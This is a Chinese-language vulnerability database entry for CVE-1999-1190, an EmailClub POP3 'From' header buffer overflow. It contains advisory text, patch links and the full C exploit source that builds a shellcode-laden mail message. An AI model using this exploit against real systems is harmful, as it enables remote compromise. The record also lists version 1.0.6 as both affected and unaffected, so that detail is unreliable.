CVE-1999-1190
CVSS10.0
发布时间 :1999-11-15 00:00:00
修订时间 :2008-09-05 16:18:56
NMCOES    

[原文]Buffer overflow in POP3 server of Admiral Systems EmailClub 1.05 allows remote attackers to execute arbitrary commands via a long "From" header in an e-mail message.


[CNNVD]E-MailClub缓冲区溢出漏洞(CNNVD-199911-051)

        Admiral Systems EmailClub 1.05版本的POP3服务器存在缓冲区溢出漏洞。远程攻击者可以通过邮件信息中长"From"头执行任意指令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1190
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1190
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199911-051
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/801
(VENDOR_ADVISORY)  BID  801
http://www.securiteam.com/exploits/E-MailClub__FROM__remote_buffer_overflow.html
(VENDOR_ADVISORY)  MISC  http://www.securiteam.com/exploits/E-MailClub__FROM__remote_buffer_overflow.html

- 漏洞信息

E-MailClub缓冲区溢出漏洞
危急 缓冲区溢出
1999-11-15 00:00:00 2005-10-20 00:00:00
远程※本地  
        Admiral Systems EmailClub 1.05版本的POP3服务器存在缓冲区溢出漏洞。远程攻击者可以通过邮件信息中长"From"头执行任意指令。

- 公告与补丁

        Patches for version 1.0.0.5, as well as an upgrade to version 1.0.0.6 which is not vulnerable to this issue, are available at:
        http://email-club.admiral.co.jp/Release/EMC-Note.htm
        (japanese only)

- 漏洞信息 (19621)

Admiral Systems EmailClub 1.0 .0.5 Buffer Overflow Vulnerability (EDBID:19621)
windows remote
1999-11-15 Verified
0 UNYUN
N/A [点击下载]
source: http://www.securityfocus.com/bid/801/info


Certain versions of EmailClub, a mail server package by Admiral Systems Inc. are vulnerable to a remote buffer overflow. This overflow is exploitable via EmailClub's POP3 server which fails to perform proper bounds checking on the 'From:' header on incoming e-mail.

This overflow will lead to a complete compromise of the Windows 95/98 target machine. It may well also affect Windows NT installations in the same manner. It is unclear though if EmailClub run with ADMIN privileges under Windows NT installations.


/*=========================================================================
   E-MailClub Ver1.0.0.5 for Windows98J exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =========================================================================
*/
#include <stdio.h>
#include <string.h>

#define HD1 \
"From exploit Wed Oct 27 01:53 JST 1999\n"\
"Date: Wed, 27 Oct 1999 01:53:00 +0900\n"

#define HD2 \
"Message-Id: <3815C9EBDC.E749HOGE@192.168.0.1>\n"\
"MIME-Version: 1.0\n"\
"Content-Transfer-Encoding: 7bit\n"\
"Content-Type: text/plain; charset=US-ASCII\n"\
"Content-Length: 1\n"\
"Status: U\n\n\n\n"

#define MAXBUF      2000
#define MAXBUF2     500
#define NOP         0x90
#define RETADR      511
#define EIP         0x7fc1415b

unsigned char exploit_code[100]={
0xb8,0x55,0x55,0x55,
0x55,0x50,0x50,0xB8,
0x96,0x91,0xFA,0x5F,
0x03,0xC0,0x50,0xc3,
};

main(int argc, char *argv[])
{
    FILE            *fp;
    char            buf[MAXBUF];
    unsigned int    ip;

    if (argc!=2){
        printf("usage: %s mailspool\n",argv[0]);
        exit(1);
    }
    if ((fp=fopen(argv[1],"wb"))==NULL){
        printf("Can not write to %s\n",argv[1]);
        exit(1);
    }
    memset(buf,NOP,MAXBUF);
    buf[MAXBUF-1]=0;

    ip=EIP;
    buf[RETADR-1]=0xa0;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    strncpy(buf+RETADR+40,exploit_code,strlen(exploit_code));

    fprintf(fp,"%s",HD1);
    fprintf(fp,"From: %s <exploit@sample.code.net>\n",buf);
    fprintf(fp,"To: you@your.host.net\n");
    fprintf(fp,"Subject: subscribe exploit\n");
    fprintf(fp,"%s",HD2);
    fclose(fp);
}

		

- 漏洞信息

12965
Admiral Systems EmailClub POP3 Server Email From Header Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

1999-11-15 Unknow
1999-11-15 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

E-MailClub Buffer Overflow Vulnerability
Boundary Condition Error 801
Yes Yes
1999-11-15 12:00:00 2009-07-11 12:56:00
This vulnerability was found by the Shadow Penguin Team and posted to their Website on November 15, 1998.

- 受影响的程序版本

Admiral Systems EmailClub 1.0 .0.5
- Microsoft Windows 95 j
- Microsoft Windows 95
- Microsoft Windows 98 j
- Microsoft Windows 98
- Microsoft Windows NT 4.0
Admiral Systems EmailClub 1.0 .6
- Microsoft Windows 95 j
- Microsoft Windows 95
- Microsoft Windows 98 j
- Microsoft Windows 98
- Microsoft Windows NT 4.0

- 不受影响的程序版本

Admiral Systems EmailClub 1.0 .6
- Microsoft Windows 95 j
- Microsoft Windows 95
- Microsoft Windows 98 j
- Microsoft Windows 98
- Microsoft Windows NT 4.0

- 漏洞讨论

Certain versions of EmailClub, a mail server package by Admiral Systems Inc. are vulnerable to a remote buffer overflow. This overflow is exploitable via EmailClub's POP3 server which fails to perform proper bounds checking on the 'From:' header on incoming e-mail.

This overflow will lead to a complete compromise of the Windows 95/98 target machine. It may well also affect Windows NT installations in the same manner. It is unclear though if EmailClub run with ADMIN privileges under Windows NT installations.

- 漏洞利用

exploit available

- 解决方案

Patches for version 1.0.0.5, as well as an upgrade to version 1.0.0.6 which is not vulnerable to this issue, are available at:
http://email-club.admiral.co.jp/Release/EMC-Note.htm
(japanese only)

- 相关参考

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